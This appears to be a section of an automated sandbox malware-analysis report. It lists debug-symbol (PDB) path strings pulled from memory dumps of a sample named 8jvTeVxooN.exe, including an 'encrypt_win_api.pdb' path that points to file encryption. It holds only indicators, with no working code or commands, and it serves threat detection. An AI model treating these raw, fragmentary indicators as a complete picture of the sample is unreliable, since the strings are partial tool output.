Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2331860153.0000000003A05000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2330083529.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.00000000039FE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbache133408908224609935.txttxtT source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: 8jvTeVxooN.exe, 00000004.00000003.2344293093.0000000003A74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2329474803.000000000370B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2331386938.000000000366E000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2331276392.0000000003726000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2330615956.000000000365F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2243645433.00000000035BA000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2043431026.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: 8jvTeVxooN.exe, 00000004.00000003.2331434769.0000000003983000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222656039.00000000035BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbq source: 8jvTeVxooN.exe, 00000004.00000003.2222509349.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: 8jvTeVxooN.exe, 00000004.00000003.2241944533.0000000003601000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241374237.00000000035E4000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242243160.0000000003611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\y\t source: 8jvTeVxooN.exe, 00000004.00000003.2349385724.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2347555316.0000000003194000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2280760396.00000000035E3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280424779.00000000039B1000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgjs source: 8jvTeVxooN.exe, 00000004.00000003.2222296038.000000000365C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\*n& source: 8jvTeVxooN.exe, 00000004.00000003.2282381509.0000000003165000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281584715.0000000003164000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2282798489.0000000003168000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2282996112.000000000316C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2280424779.0000000003982000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2273926106.0000000003982000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error85405.txt source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\DVR\c source: 8jvTeVxooN.exe, 00000004.00000003.2269685051.000000000377F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280340145.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281044676.000000000371C000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281698659.0000000003780000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ic source: 8jvTeVxooN.exe, 00000004.00000003.2339767711.0000000003727000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\; source: 8jvTeVxooN.exe, 00000004.00000003.2242287588.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2270202437.000000000379B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262988748.0000000003788000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2270594593.000000000379B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263023581.0000000003798000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243721047.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2260970474.000000000377F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2274316912.000000000379B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\n\ source: 8jvTeVxooN.exe, 00000004.00000003.2329474803.000000000370B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2331276392.0000000003726000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbuM source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2242287588.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262988748.0000000003788000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263023581.0000000003798000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243721047.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2260970474.000000000377F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\\ source: 8jvTeVxooN.exe, 00000004.00000003.2262536417.0000000003658000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261082812.0000000003643000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Lw source: 8jvTeVxooN.exe, 00000004.00000003.2222656039.00000000035BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1721427076.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1717959901.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1719930942.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbAPPS_{~2 source: 8jvTeVxooN.exe, 00000004.00000003.2222871934.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222943806.000000000312A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: 8jvTeVxooN.exe, 00000004.00000003.2306670247.0000000003604000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\Appli source: 8jvTeVxooN.exe, 00000004.00000003.2339767711.0000000003727000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2331860153.0000000003A05000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2330083529.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.00000000039FE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\%A source: 8jvTeVxooN.exe, 00000004.00000003.2222656039.00000000035BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\2p source: 8jvTeVxooN.exe, 00000004.00000003.2305864286.00000000039D2000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280424779.00000000039D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\* source: 8jvTeVxooN.exe, 00000004.00000003.2269451295.000000000366A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281520896.0000000003668000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2306670247.0000000003604000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280902060.0000000003606000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262536417.000000000366A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262018814.0000000003668000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280760396.00000000035E3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261082812.0000000003643000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: 8jvTeVxooN.exe, 00000004.00000003.2242006296.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261338152.000000000317F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263140213.000000000318D000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261225248.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242895239.000000000318F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263050017.0000000003185000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242673984.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\\ source: 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\c source: 8jvTeVxooN.exe, 00000004.00000003.2273926106.00000000039B7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280424779.00000000039B1000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\bbwe\ Dak source: 8jvTeVxooN.exe, 00000004.00000003.2347681750.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\* source: 8jvTeVxooN.exe, 00000004.00000003.2262988748.0000000003788000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2260970474.000000000377F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\T>o source: 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2330083529.0000000003A84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\j source: 8jvTeVxooN.exe, 00000004.00000003.2347681750.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2043431026.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 8jvTeVxooN.exe, 8jvTeVxooN.exe, 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: BACKGR~2ntkrnlmp.pdbndTransferApiGroup2469999723291e28c55f33c87de532f source: 8jvTeVxooN.exe, 00000004.00000003.2222871934.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222943806.000000000312A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.000000000365C000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2280902060.0000000003686000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2270378630.0000000003685000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2273685265.0000000003686000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2282381509.0000000003162000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2282224674.0000000003686000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2282004420.0000000003152000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2269141384.000000000367A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2270270486.000000000314A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2274393664.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: 8jvTeVxooN.exe, 00000004.00000003.2339577844.0000000003972000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\sets\n source: 8jvTeVxooN.exe, 00000004.00000003.2346568639.0000000003A74000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2347385665.0000000003AD1000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2346890351.0000000003A9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: 8jvTeVxooN.exe, 00000004.00000003.1984072588.0000000003580000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\*mingState\ source: 8jvTeVxooN.exe, 00000004.00000003.2339311493.0000000003661000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2343854318.0000000003661000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 8jvTeVxooN.exe, 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2270002085.00000000035E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\i source: 8jvTeVxooN.exe, 00000004.00000003.2339311493.0000000003661000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2343854318.0000000003661000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2242006296.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261338152.000000000317F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242287588.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263140213.000000000318D000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261225248.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242895239.000000000318F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262988748.0000000003788000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263023581.0000000003798000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243721047.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263050017.0000000003185000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2260970474.000000000377F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242673984.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\s:3x source: 8jvTeVxooN.exe, 00000004.00000003.2014549664.0000000003178000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2043527617.0000000003175000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2043488787.0000000003158000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2014494280.000000000315B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Api\y\7g source: 8jvTeVxooN.exe, 00000004.00000003.2346568639.0000000003A74000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2347385665.0000000003AD1000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2346890351.0000000003A9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\O source: 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
